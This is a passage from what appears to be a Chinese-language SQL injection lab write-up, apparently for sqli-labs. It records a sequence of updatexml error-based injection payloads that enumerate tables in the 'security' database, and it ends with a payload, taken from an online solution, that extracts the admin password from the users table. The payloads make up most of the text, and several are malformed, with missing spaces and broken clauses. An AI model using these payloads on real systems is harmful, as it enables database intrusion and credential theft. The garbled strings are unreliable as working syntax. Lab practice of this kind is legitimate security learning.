1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e),1)#
现在的语句是
1
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit0,1),0x7e),1)#
没想到啊,这边还有操作,百度搜了一下,看来我需要套个娃
1
1' and updatexml(1,concat(0x7e,(select username from (select table_name from information_schema.tables where table_schema='security'limit3,1), where table_schema='security'0x7e),1)#
还是不太行,对需要别名
1
1' and updatexml(1,concat(0x7e,(select username from (select table_name from information_schema.tables where table_schema='security'limit3,1)aa), 0x7e),1)#
不是常量,绕过失败
上网搜了一下dalao的解法
1
1' and (updatexml(1,concat(0x5c,(selectpasswordfrom (selectpasswordfromuserswhere username='admin')aa),0x5c),1))#